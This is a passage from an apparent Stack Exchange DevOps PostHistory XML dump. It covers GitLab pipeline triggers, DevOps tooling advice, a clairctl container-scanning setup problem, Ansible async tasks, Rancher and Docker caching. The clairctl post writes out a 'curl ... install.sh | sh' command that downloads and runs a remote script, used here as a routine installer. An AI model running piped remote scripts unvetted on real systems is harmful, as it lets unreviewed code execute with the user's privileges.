&quot;$CI_ENVIRONMENT_SLUG&quot;&#xD;&#xA;&#xD;&#xA;However, when A runs, I get the following result from curl:&#xD;&#xA;&#xD;&#xA;    {&quot;message&quot;:{&quot;base&quot;:[&quot;Reference not found&quot;]}}&#xD;&#xA;&#xD;&#xA;When I hardcode the ref to master, I get this message:&#xD;&#xA;&#xD;&#xA;    {&quot;message&quot;:{&quot;base&quot;:[&quot;No stages / jobs for this pipeline.&quot;]}}&#xD;&#xA;&#xD;&#xA;How can A be configured, so that the `deploy:staging` job in B is triggered on master?&#xD;&#xA;&#xD;&#xA;Thinking ahead, I would like to add more deployment targets, so it should **only** trigger the `deploy:staging` job." ContentLicense="CC BY-SA 4.0" />
  <row Id="15809" PostHistoryTypeId="1" PostId="5014" RevisionGUID="4524aec1-fe50-4d3f-89d3-68d75a87cb56" CreationDate="2018-09-19T11:53:54.113" UserId="9873" Text="Trigger a cross project GitLab trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="15810" PostHistoryTypeId="3" PostId="5014" RevisionGUID="4524aec1-fe50-4d3f-89d3-68d75a87cb56" CreationDate="2018-09-19T11:53:54.113" UserId="9873" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15814" PostHistoryTypeId="5" PostId="5012" RevisionGUID="2787b5e8-0ac3-4283-8b2d-28548d12e38f" CreationDate="2018-09-19T14:37:22.033" UserId="707" Comment="deleted 1 character in body" Text="@Tina J, and welcome to Stack SE!&#xD;&#xA;&#xD;&#xA;While DevOps is not self-purposed, maybe it is worth to step back for and to find out the actual problem before trying out solution.&#xD;&#xA;&#xD;&#xA;As you have asked a more or less generic question, I'll give you sort of a &quot;*DevOps primer*&quot; stick more to methodology rather than give you a list of tools. &#xD;&#xA;&#xD;&#xA;How detailed you would tailor the implementation of this depends on many factors like business needs, complexity of teams, products and systems. .. and the time you have got/are allowed to think.&#xD;&#xA;&#xD;&#xA;* **Why** did they ask you to update DevOps techologies?&#xD;&#xA;* **What** is the business objective i.e. what will change after you are done - find out the management perspective. Will be software delivered faster/in shorter periods, or are deployment problems a real issue?&#xD;&#xA;* If there is an update of DevOps technologies, what is the current [DevOps toolchain][1] (please read on this Wikipedia article to understand families of tools by their purpose in the toolchain) your colleagues use? &#xD;&#xA;&#xD;&#xA;* **Who** i.e. which team members have knowledge/daily usage of which of these tools?&#xD;&#xA;* **What** are technically software products your manufacture and deliver?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now you know the problems and the existing toolchain and products it produces:&#xD;&#xA;&#xD;&#xA;* Are there now some quick fixes to achieve quick results or do you need more time to analyze data you have now, and find answers to questions you have to the team and management?&#xD;&#xA;* Which tools do you think are missing and how which change would bring the company closer to the set objective?&#xD;&#xA;* Will be free open source tools enough or some enterprise licenses could be required?&#xD;&#xA;* Is it possible to design a DevOps strategy and generate iterative tasks to deliver changes and improve the situation in baby steps ([design thinking][2] with your team as end users or do you have a complex situation in large enterprise - [system thinking][3])?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Design_thinking&#xD;&#xA;  [3]: https://searchcio.techtarget.com/definition/systems-thinking&#xD;&#xA;&#xD;&#xA;Side note: regarding to container management, depending on existing expertise you might consider using a solution bundling Kubernetes, e.g. OpenShift as already mentioned or RancherLabs etc. Regarding Jenkins, after you know what is happening, skip through its plugins, Jenkins-as-is is just a beginning." ContentLicense="CC BY-SA 4.0" />
  <row Id="15815" PostHistoryTypeId="5" PostId="5012" RevisionGUID="c0c2c125-4e52-426d-9a90-50a644e41489" CreationDate="2018-09-19T14:42:44.790" UserId="707" Comment="deleted 9 characters in body" Text="Hi and welcome to Stack SE!&#xD;&#xA;&#xD;&#xA;While DevOps is not self-purposed, maybe it is worth to step back for and to find out the actual problem before trying out solution.&#xD;&#xA;&#xD;&#xA;As you have asked a more or less generic question, I'll give you sort of a &quot;*DevOps primer*&quot; stick more to methodology rather than give you a list of tools. &#xD;&#xA;&#xD;&#xA;How detailed you would tailor the implementation of this depends on many factors like business needs, complexity of teams, products and systems. .. and the time you have got/are allowed to think.&#xD;&#xA;&#xD;&#xA;* **Why** did they ask you to update DevOps techologies?&#xD;&#xA;* **What** is the business objective i.e. what will change after you are done - find out the management perspective. Will be software delivered faster/in shorter periods, or are deployment problems a real issue?&#xD;&#xA;* If there is an update of DevOps technologies, what is the current [DevOps toolchain][1] (please read on this Wikipedia article to understand families of tools by their purpose in the toolchain) your colleagues use? &#xD;&#xA;&#xD;&#xA;* **Who** i.e. which team members have knowledge/daily usage of which of these tools?&#xD;&#xA;* **What** are technically software products your manufacture and deliver?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now you know the problems and the existing toolchain and products it produces:&#xD;&#xA;&#xD;&#xA;* Are there now some quick fixes to achieve quick results or do you need more time to analyze data you have now, and find answers to questions you have to the team and management?&#xD;&#xA;* Which tools do you think are missing and how which change would bring the company closer to the set objective?&#xD;&#xA;* Will be free open source tools enough or some enterprise licenses could be required?&#xD;&#xA;* Is it possible to design a DevOps strategy and generate iterative tasks to deliver changes and improve the situation in baby steps ([design thinking][2] with your team as end users or do you have a complex situation in large enterprise - [system thinking][3])?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Design_thinking&#xD;&#xA;  [3]: https://searchcio.techtarget.com/definition/systems-thinking&#xD;&#xA;&#xD;&#xA;Side note: regarding to container management, depending on existing expertise you might consider using a solution bundling Kubernetes, e.g. OpenShift as already mentioned or RancherLabs etc. Regarding Jenkins, after you know what is happening, skip through its plugins, Jenkins-as-is is just a beginning." ContentLicense="CC BY-SA 4.0" />
  <row Id="15816" PostHistoryTypeId="2" PostId="5015" RevisionGUID="fda469b7-4a01-4f22-a707-bcb2f3c07700" CreationDate="2018-09-19T16:53:17.073" UserId="8332" Text="I've been responsible for setting up DevOps processes in two companies from scratch so hopefully this will help.&#xD;&#xA;&#xD;&#xA;Others have asked questions about business objectives but I'm going to give you a brief rundown of some of the problems we had and the technologies I used to fix it.&#xD;&#xA;&#xD;&#xA; 1. Infrastructure Creation/Management was slow and error prone - I started creating and managing our infra (particularly K8's clusters) using **Terraform**&#xD;&#xA; 2. Kubernetes CI/CD becomes difficult as the number of services grows - to solve this issue we started using **Helm** which bills itself as the 'missing package manager' for Kubernetes, but it also helps manage Kubernetes .yaml files as templates which helps simplify CI/CD&#xD;&#xA; 3. CI/CD - Building/testing and deploying applications was also slow and cumbersome, so we started using **Jenkins (Blue Ocean)** to define our deployment pipelines in a Jenkinsfile. Highly recommend this if you are still using the old version of Jenkins.&#xD;&#xA; 4. Managing configurations of mutable infrastructure - we still have some 'mutable' infrastructure which was prone to drift, and you could use **Chef** or **Ansible** to manage those to minimise configuration drift or to bootstrap new servers quickly.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="15827" PostHistoryTypeId="50" PostId="3066" RevisionGUID="1803bb41-7377-4d81-9a2e-5c7bf696beab" CreationDate="2018-09-19T22:01:56.330" UserId="-1" />
  <row Id="15828" PostHistoryTypeId="50" PostId="3226" RevisionGUID="63b81fbf-3bf5-456d-954f-f323dba17e22" CreationDate="2018-09-20T01:01:31.607" UserId="-1" />
  <row Id="15829" PostHistoryTypeId="2" PostId="5018" RevisionGUID="b61041c0-d31d-405f-828a-8f1f3a0df2c1" CreationDate="2018-09-20T04:55:55.310" UserId="9890" Text="I am trying to setup clairctl to scan our application images and so wanted to install the full stack of clairctl, clair scanner &amp; postgress database. I did the following steps:&#xD;&#xA;&#xD;&#xA;1.	Acquired a VM running CentOS 7, 2 vCPU and 8 GB RAM.&#xD;&#xA;2.	Installed docker-compose as described here: https:// www.linuxhelp.com/how-to-install-docker-compose-on-centos-7.&#xD;&#xA;3.	Installed GO as described here: https:// linuxize.com/post/how-to-install-go-on-centos-7.&#xD;&#xA;4.	Downloaded and installed clairctl by referring to this page: https:// github.com/jgsqware/clairctl. In this step I faced some problems and tried to work around them as described below.&#xD;&#xA;&#xD;&#xA;i) Downloaded the binary release of clairctl by running “curl -L https:// raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh”&#xD;&#xA;&#xD;&#xA;ii) Executed the command “git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl” which failed with error message&#xD;&#xA;=== &#xD;&#xA;[root@clair-server ~]# git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;Cloning into '/src/github.com/jgsqware/clairctl'...&#xD;&#xA;The authenticity of host 'github.com (192.30.253.113)' can't be established.&#xD;&#xA;RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.&#xD;&#xA;RSA key fingerprint is MD5:16:27:ac:a5:76:28:2d:36:63:1b:56:4d:eb:df:a6:48.&#xD;&#xA;Are you sure you want to continue connecting (yes/no)? yes&#xD;&#xA;Warning: Permanently added 'github.com,192.30.253.113' (RSA) to the list of known hosts.&#xD;&#xA;Permission denied (publickey).&#xD;&#xA;fatal: Could not read from remote repository.&#xD;&#xA;Please make sure you have the correct access rights and the repository exists.&#xD;&#xA;[root@clair-server ~]#&#xD;&#xA;=== &#xD;&#xA;So did the following to workaround the problem. If this is a generic issue it could be useful to update the project’s README.md with the workaround so that it helps other users of clairctl.&#xD;&#xA;=== &#xD;&#xA;git clone git clone https:// github.com/jgsqware/clairctl.git&#xD;&#xA;export GOPATH=$PATH:~/go&#xD;&#xA;mkdir -p $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;mv clairctl $GOPATH/src/github.com/jgsqware/&#xD;&#xA;=== &#xD;&#xA;&#xD;&#xA;iii) Then executed the commands below which passed:&#xD;&#xA;=== &#xD;&#xA;cd $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;docker-compose up -d postgres&#xD;&#xA;=== &#xD;&#xA;&#xD;&#xA;iv) Then executed the command “docker-compose exec clairctl clairctl health” which failed with error. I Googled about this error, examined the file docker-compose.yml. Based on it, I executed “docker-compose up -d clairctl” which is not mentioned. This is when images for clair and clairctl were downloaded and started. Then I ran “docker-compose exec clairctl clairctl health” which was successful. It would be helpful to add the missing command: “docker-compose up -d postgres” to the documentation so that it helps other users of clairctl.&#xD;&#xA;&#xD;&#xA;5. The current situation is given below. Is there some way for the second command (without docker-compose) to work? Could you please help me here?&#xD;&#xA;=== &#xD;&#xA;[root@clair-server clairctl]# docker-compose exec clairctl clairctl health&#xD;&#xA;&#xD;&#xA;Clair: ✔&#xD;&#xA;[root@clair-server clairctl]# clairctl health --log-level debug&#xD;&#xA;2018-09-19 09:45:27.038127 D | config: No config file used&#xD;&#xA;2018-09-19 09:45:27.038608 D | clair: requesting health on: http:// localhost:6061/health&#xD;&#xA;2018-09-19 09:45:27.040779 E | clair: requesting Clair health: Get http:// localhost:6061/health: dial tcp [::1]:6061: getsockopt: connection refused&#xD;&#xA;&#xD;&#xA;Clair: ✘&#xD;&#xA;[root@clair-server clairctl]#&#xD;&#xA;=== &#xD;&#xA;&#xD;&#xA;6.	I want to scan our application container and so did “docker login” and then analyze, but face problem seen below:&#xD;&#xA;=== &#xD;&#xA;[root@clair-server clairctl]# docker login -u username -p the-password&#xD;&#xA;[root@clair-server clairctl]# docker-compose exec clairctl clairctl analyze my-org/my-container:186 --log-level debug&#xD;&#xA;2018-09-19 13:49:10.858615 D | config: Using config file: /home/clairctl/clairctl.yml&#xD;&#xA;2018-09-19 13:49:10.859175 D | dockerdist: Downloading manifest for my-org/my-container:186&#xD;&#xA;2018-09-19 13:49:10.859395 D | dockerdist: Retrieving repository client&#xD;&#xA;2018-09-19 13:49:11.240796 D | dockerdist: endpoint.TLSConfig.InsecureSkipVerify: true&#xD;&#xA;client quit unexpectedly&#xD;&#xA;2018-09-19 13:49:15.415043 C | cmd: retrieving manifest for &quot;my-org/my-container:186&quot;: errors:&#xD;&#xA;denied: requested access to the resource is denied&#xD;&#xA;unauthorized: authentication required&#xD;&#xA;[root@clair-server clairctl]#&#xD;&#xA;&#xD;&#xA;[root@clair-server clairctl]#clairctl analyze my-org/my-container:186 --log-level debug&#xD;&#xA;2018-09-19 09:51:33.513208 D | config: No config file used&#xD;&#xA;2018-09-19 09:51:33.513675 D | dockerdist: Downloading manifest for my-org/my-container:186&#xD;&#xA;2018-09-19 09:51:33.514031 D | dockerdist: Retrieving repository client&#xD;&#xA;2018-09-19 09:51:37.131535 D | dockerdist: endpoint.TLSConfig.InsecureSkipVerify: true&#xD;&#xA;2018-09-19 09:51:41.656177 D | dockerdist: manifest type: *schema2.DeserializedManifest&#xD;&#xA;2018-09-19 09:51:41.656235 D | dockerdist: retrieved schema2 manifest, no verification&#xD;&#xA;2018-09-19 09:51:41.656286 I | config: retrieving interface for local IP&#xD;&#xA;2018-09-19 09:51:41.656301 D | config: no interface provided, looking for docker0&#xD;&#xA;2018-09-19 09:51:41.656830 I | clair: Pushing Layer 1/7 [sha256:605ce]&#xD;&#xA;2018-09-19 09:51:41.656982 D | clair: Saving sha256:605ce1bd3f3164f2949a30501cc596f52a72de05da1306ab360055f0d7130c32[https:// registry-1.docker.io/v2]&#xD;&#xA;2018-09-19 09:51:41.657113 D | clair: auth.insecureSkipVerify: true&#xD;&#xA;2018-09-19 09:51:41.657150 D | clair: request.URL.String(): https:// registry-1.docker.io/v2/my-org/my-container/blobs/sha256:605ce1bd3f3164f2949a30501cc596f52a72de05da1306ab360055f0d7130c32&#xD;&#xA;2018-09-19 09:51:42.809395 I | clair: pull from clair is unauthorized&#xD;&#xA;2018-09-19 09:51:43.941475 I | clair: adding layer 1/7 [sha256:605ce]: pushing layer to clair: Post http:// localhost:6060/v1/layers: dial tcp [::1]:6060: getsockopt: connection refused&#xD;&#xA;client quit unexpectedly&#xD;&#xA;2018-09-19 09:51:43.941545 C | cmd: pushing image &quot;my-org/my-container:186&quot;: pushing layer to clair: Post http:// localhost:6060/v1/layers: dial tcp [::1]:6060: getsockopt: connection refused&#xD;&#xA;[root@clair-server clairctl]#&#xD;&#xA;=== &#xD;&#xA;I want to eventually use the CLI to integrate clairctl with Jenkins to implement a quality/security gate. Is there some way for the scans to proceed (ideally without docker-compose) to work? Could you please help me here? I tried to Google around and read threads about how to overcome this barrier, but could not figure out a way. I thought of posting the question in clairctl/Lobby on Gitter, but thought I couldn't express myself in detail.&#xD;&#xA;&#xD;&#xA;Any guidance, help would be highly appreciated. Could you please help me?&#xD;&#xA;&#xD;&#xA;Kind regards,&#xD;&#xA;Shashi" ContentLicense="CC BY-SA 4.0" />
  <row Id="15830" PostHistoryTypeId="1" PostId="5018" RevisionGUID="b61041c0-d31d-405f-828a-8f1f3a0df2c1" CreationDate="2018-09-20T04:55:55.310" UserId="9890" Text="Error during setup of clairctl for container scanning with clair" ContentLicense="CC BY-SA 4.0" />
  <row Id="15831" PostHistoryTypeId="3" PostId="5018" RevisionGUID="b61041c0-d31d-405f-828a-8f1f3a0df2c1" CreationDate="2018-09-20T04:55:55.310" UserId="9890" Text="&lt;containers&gt;&lt;docker-compose&gt;&lt;security&gt;&lt;clair&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15838" PostHistoryTypeId="2" PostId="5021" RevisionGUID="f8292e20-7475-4eff-9dd3-67e880e219fd" CreationDate="2018-09-20T09:49:21.480" UserId="8251" Text="Firstly I would argue that backup time does not matter,  as it usually doesn't correlate with the restore time. &#xA;&#xA;In regards to restore time,  snapshots restore on volumes almost instantly,  as data is only copied onto the volume from S3 when requested. &#xA;&#xA;So as long as you only request actually used data from the volume, it would only matter how much data is used on the volume to determine the time to restore. &#xA;&#xA;This link explains the process well https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-restoring-volume.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15839" PostHistoryTypeId="50" PostId="4799" RevisionGUID="a961bbcd-4c8d-43b8-968b-e25195eb0a64" CreationDate="2018-09-20T10:00:04.890" UserId="-1" />
  <row Id="15840" PostHistoryTypeId="2" PostId="5022" RevisionGUID="4738c879-1641-4e94-9a68-1edbd2ef6980" CreationDate="2018-09-20T12:37:32.423" UserId="707" Text="During login after setup, Rancher CLI asks the following:&#xD;&#xA;&#xD;&#xA;    Do you want to continue connecting (yes/no)? yes&#xD;&#xA;    NUMBER    CLUSTER NAME                          PROJECT ID        PROJECT NAME   PROJECT DESCRIPTION&#xD;&#xA;    1         xxx                                   c-5tcls:p-b4r55   System         System project created for the cluster&#xD;&#xA;    2         xxx                                   c-5tcls:p-tmx85   Default        Default project created for the cluster&#xD;&#xA;&#xD;&#xA;What is the difference?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15841" PostHistoryTypeId="1" PostId="5022" RevisionGUID="4738c879-1641-4e94-9a68-1edbd2ef6980" CreationDate="2018-09-20T12:37:32.423" UserId="707" Text="What are the two project layouts offered by Rancher on installation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15842" PostHistoryTypeId="3" PostId="5022" RevisionGUID="4738c879-1641-4e94-9a68-1edbd2ef6980" CreationDate="2018-09-20T12:37:32.423" UserId="707" Text="&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15843" PostHistoryTypeId="5" PostId="5022" RevisionGUID="ce7fb5db-952d-49cc-9cd6-6df084e9fde4" CreationDate="2018-09-20T13:03:54.747" UserId="707" Comment="added 141 characters in body" Text="During login after setup, Rancher CLI asks the following:&#xD;&#xA;&#xD;&#xA;    Do you want to continue connecting (yes/no)? yes&#xD;&#xA;    NUMBER    CLUSTER NAME                          PROJECT ID        PROJECT NAME   PROJECT DESCRIPTION&#xD;&#xA;    1         xxx                                   c-5tcls:p-b4r55   System         System project created for the cluster&#xD;&#xA;    2         xxx                                   c-5tcls:p-tmx85   Default        Default project created for the cluster&#xD;&#xA;&#xD;&#xA;What is the difference and is there a way to make this choice non-interactively?&#xD;&#xA;Note. For some reason, 1 and 2 get randomly swapped from time to time we run this." ContentLicense="CC BY-SA 4.0" />
  <row Id="15845" PostHistoryTypeId="2" PostId="5023" RevisionGUID="2a5df87f-847b-47c3-b751-8728a0ce0b26" CreationDate="2018-09-20T14:25:34.043" UserId="9904" Text="As @webKnja mentioned this is possible with `async` mode. I have recently discovered it myself and learned that you can use it in 3 different ways depending on your needs.&#xD;&#xA;&#xD;&#xA; **1.** **Execute and poll** the results, notice the `poll:5`, This will poll the results every 5 seconds. You may save some time with this method.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;     - name: My long runing task&#xD;&#xA;       some_module_name:&#xD;&#xA;         ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;         username: &quot;{{user}}&quot;&#xD;&#xA;         password: &quot;{{password}}&quot;&#xD;&#xA;         secret: &quot;{{secret}}&quot;&#xD;&#xA;       loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;       register: _alias_vc_0&#xD;&#xA;       async: 60&#xD;&#xA;       poll: 5&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; 2. **Fire and forget** `poll: 0`, This is very quick option since Ansible it's just shooting out those tasks. The down side is that we don't know what was the outcome of the task i.e. `changed: True/False`. Of course it's a downside if you care about the feedback ;).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;      name: My long runing task&#xD;&#xA;      some_module_name:&#xD;&#xA;        ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;        username: &quot;{{user}}&quot;&#xD;&#xA;        password: &quot;{{password}}&quot;&#xD;&#xA;        secret: &quot;{{secret}}&quot;&#xD;&#xA;      loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;      register: _alias_vc_0&#xD;&#xA;      async: 60&#xD;&#xA;      poll: 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**3**. **Fire and forget with `async_status`**, the syntax for the task is the same as example **2** whowever it will require additional task `async_status`. This is my favorite since it's relatively fast (faster then normal looping or the `execute and poll`) and allows you to capture the feedback although will need to deal with new `register` for your `async_task`.&#xD;&#xA;&#xD;&#xA;`retries: 20` -- how many attempts before failing.&#xD;&#xA;`delay: 2` -- how many second to wait between polls.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: My long runing task&#xD;&#xA;  some_module_name:&#xD;&#xA;    ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;    username: &quot;{{user}}&quot;&#xD;&#xA;    password: &quot;{{password}}&quot;&#xD;&#xA;    secret: &quot;{{secret}}&quot;&#xD;&#xA;  loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;  register: _alias_vc_0&#xD;&#xA;  async: 60&#xD;&#xA;  poll: 5&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;- name: Wait for My long running task to finish&#xD;&#xA;  async_status:&#xD;&#xA;    jid: &quot;{{ item.ansible_job_id }}&quot;&#xD;&#xA;  register: _jobs_alias_vc_0&#xD;&#xA;  retries: 20&#xD;&#xA;  delay: 2&#xD;&#xA;  until: _jobs_alias_vc_0.finished&#xD;&#xA;  loop: &quot;{{_alias_vc_0.results}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A word of caution**, depending on the task yo may not be able to use the `async` option. I had examples where I was interacting with system which was not able to handle multiple requests for the same resource. I found `async` option best working if I have to perform the same task across multiple hosts. That's where I was able to &quot;save&quot; the most time.&#xD;&#xA;&#xD;&#xA;Since you posted the link to Ansible documentation in the question I'm not going to do that.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15846" PostHistoryTypeId="5" PostId="5023" RevisionGUID="b2b530e5-16ce-4217-9003-1833ceabe728" CreationDate="2018-09-20T16:03:43.323" UserId="739" Comment="better formatting code" Text="As @webKnja mentioned this is possible with `async` mode. I have recently discovered it myself and learned that you can use it in 3 different ways depending on your needs.&#xD;&#xA;&#xD;&#xA;1. **Execute and poll** the results, notice the `poll:5`, This will poll the results every 5 seconds. You may save some time with this method.&#xD;&#xA;&#xD;&#xA;        - name: My long runing task&#xD;&#xA;          some_module_name:&#xD;&#xA;            ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;            username: &quot;{{user}}&quot;&#xD;&#xA;            password: &quot;{{password}}&quot;&#xD;&#xA;            secret: &quot;{{secret}}&quot;&#xD;&#xA;          loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;          register: _alias_vc_0&#xD;&#xA;          async: 60&#xD;&#xA;          poll: 5&#xD;&#xA;&#xD;&#xA;2. **Fire and forget** `poll: 0`, This is very quick option since Ansible it's just shooting out those tasks. The down side is that we don't know what was the outcome of the task i.e. `changed: True/False`. Of course it's a downside if you care about the feedback ;).&#xD;&#xA;&#xD;&#xA;        name: My long runing task&#xD;&#xA;        some_module_name:&#xD;&#xA;          ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;          username: &quot;{{user}}&quot;&#xD;&#xA;          password: &quot;{{password}}&quot;&#xD;&#xA;          secret: &quot;{{secret}}&quot;&#xD;&#xA;        loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;        register: _alias_vc_0&#xD;&#xA;        async: 60&#xD;&#xA;        poll: 0&#xD;&#xA;&#xD;&#xA;3. **Fire and forget with `async_status`**, the syntax for the task is the same as example **2** whowever it will require additional task `async_status`. This is my favorite since it's relatively fast (faster then normal looping or the `execute and poll`) and allows you to capture the feedback although will need to deal with new `register` for your `async_task`.&#xD;&#xA;&#xD;&#xA; `retries: 20` -- how many attempts before failing.&#xD;&#xA;&#xD;&#xA; `delay: 2` -- how many second to wait between polls.&#xD;&#xA;&#xD;&#xA;        - name: My long runing task&#xD;&#xA;          some_module_name:&#xD;&#xA;            ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;            username: &quot;{{user}}&quot;&#xD;&#xA;            password: &quot;{{password}}&quot;&#xD;&#xA;            secret: &quot;{{secret}}&quot;&#xD;&#xA;          loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;          register: _alias_vc_0&#xD;&#xA;          async: 60&#xD;&#xA;          poll: 5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        - name: Wait for My long running task to finish&#xD;&#xA;          async_status:&#xD;&#xA;            id: &quot;{{ item.ansible_job_id }}&quot;&#xD;&#xA;          register: _jobs_alias_vc_0&#xD;&#xA;          retries: 20&#xD;&#xA;          delay: 2&#xD;&#xA;          until: _jobs_alias_vc_0.finished&#xD;&#xA;          loop: &quot;{{_alias_vc_0.results}}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A word of caution**, depending on the task yo may not be able to use the `async` option. I had examples where I was interacting with system which was not able to handle multiple requests for the same resource. I found `async` option best working if I have to perform the same task across multiple hosts. That's where I was able to &quot;save&quot; the most time.&#xD;&#xA;&#xD;&#xA;Since you posted the link to Ansible documentation in the question I'm not going to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15847" PostHistoryTypeId="24" PostId="5023" RevisionGUID="b2b530e5-16ce-4217-9003-1833ceabe728" CreationDate="2018-09-20T16:03:43.323" Comment="Proposed by 739 approved by 9904 edit id of 788" ContentLicense="CC BY-SA 4.0" />
  <row Id="15848" PostHistoryTypeId="2" PostId="5024" RevisionGUID="eb17ae54-a4f1-4dfb-821c-c8ec17de7e11" CreationDate="2018-09-20T16:08:52.360" UserId="9910" Text="I been trying to search for answer for this question but so far I didn't found anything useful.&#xD;&#xA;&#xD;&#xA;Our problem is that we have 2 microservices with many staging branches, each of these microservices are on different servers and environments.&#xD;&#xA;We want to test each microservices branch with each other in our staging environment so microservice1-branch20 with microservice2-branch10.&#xD;&#xA;They need to communicate two-way so they both need to know that they only can contact with that version of the microservice.&#xD;&#xA;&#xD;&#xA;Is there any good way to do these tests without putting them together in one docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15849" PostHistoryTypeId="1" PostId="5024" RevisionGUID="eb17ae54-a4f1-4dfb-821c-c8ec17de7e11" CreationDate="2018-09-20T16:08:52.360" UserId="9910" Text="Staging - Test multiple microservice versions together" ContentLicense="CC BY-SA 4.0" />
  <row Id="15850" PostHistoryTypeId="3" PostId="5024" RevisionGUID="eb17ae54-a4f1-4dfb-821c-c8ec17de7e11" CreationDate="2018-09-20T16:08:52.360" UserId="9910" Text="&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15851" PostHistoryTypeId="2" PostId="5025" RevisionGUID="7aeeb95f-28bf-440d-b941-e68f66b41ae6" CreationDate="2018-09-20T20:59:58.657" UserId="9915" Text="As there is no Site Reliability Engineering dedicated stackexchange, I found this to be closes one.&#xD;&#xA;&#xD;&#xA;There are multiple great resources to use as inspiration for slidedeck about SRE principles [SRE slides].&#xD;&#xA;&#xD;&#xA;Still I can't find : &#xD;&#xA;&#xD;&#xA;* short&#xD;&#xA;* concise&#xD;&#xA;* examples&#xD;&#xA;* motivating spending resources to implement SRE in organisation.&#xD;&#xA;&#xD;&#xA;Most what I experienced in my professional life were highly confidential cases and numbers. I am concerned that most numbers that SREs know, are to remain &quot;internal&quot; to be presented internally within corporations.&#xD;&#xA;&#xD;&#xA;However, maybe you know some study, (preferably set of) nice examples of post-morthems (even one by one is good),  from which we could make a strong arguments like &quot;after introducing SRE model into organisation velocity of changes grown from n to m release pushes per x, with increase of availability by y and decrease of costs by z&quot; (brainstorming) or other hard data points?&#xD;&#xA;&#xD;&#xA;[SRE slides] - some examples:&#xD;&#xA;&#xD;&#xA; * [Site Reliability Engineering: An Enterprise Adoption Story (an ITSM Academy Webinar) by ITSM Academy, Inc.](https://www.slideshare.net/lschwartz925/site-reliability-engineering-an-enterprise-adoption-story-an-itsm-academy-webinar)&#xD;&#xA; * [SRE From Scratch by &#xD;&#xA;Grier Johnson, Platform Engineer at Square](https://www.slideshare.net/GrierJohnson/sre-from-scratch)&#xD;&#xA; * [GOTO 2017 • Site Reliability Engineering at Google • Christof Leng](https://www.youtube.com/watch?v=Cxb7a8lTv8A)&#xD;&#xA;&#xD;&#xA;P.S. If this question could be rephrased to fit better into this site guidelines, please provide me a suggestion in comment and give me a change to improve. Otherwise, I will appreciate other better platforms (However e.g. reddit.com/r/sre did not make great impression to me)" ContentLicense="CC BY-SA 4.0" />
  <row Id="15852" PostHistoryTypeId="1" PostId="5025" RevisionGUID="7aeeb95f-28bf-440d-b941-e68f66b41ae6" CreationDate="2018-09-20T20:59:58.657" UserId="9915" Text="Datapoints motivating introduction of SRE in organisation" ContentLicense="CC BY-SA 4.0" />
  <row Id="15853" PostHistoryTypeId="3" PostId="5025" RevisionGUID="7aeeb95f-28bf-440d-b941-e68f66b41ae6" CreationDate="2018-09-20T20:59:58.657" UserId="9915" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15854" PostHistoryTypeId="2" PostId="5026" RevisionGUID="ec53bd71-af97-4fde-9c54-6532a1561193" CreationDate="2018-09-20T21:03:44.737" UserId="4175" Text="## Answer&#xD;&#xA;&#xD;&#xA;The default location of the image cache is under `/var/lib/docker`.&#xD;&#xA;&#xD;&#xA;## More answer&#xD;&#xA;&#xD;&#xA;The &quot;cache&quot; features in docker are more like a communication vehicle for the documentation, than a proper, separate data structure. There is no special storage which makes up this cache.&#xD;&#xA;&#xD;&#xA;For every filesystem-modifying line (RUN/ADD/...) in your Dockerfile, `docker run` creates a new image, with the image of the previous line (or the FROM line at the beginning) as the base. Docker uses the hashes of the previous image together with the hash of the RUN line to calculate the hash of the new image. If that new hash already exists, then it is reused.&#xD;&#xA;&#xD;&#xA;Those intermediate images are exactly the same kind of object in storage as your final image (i.e., a 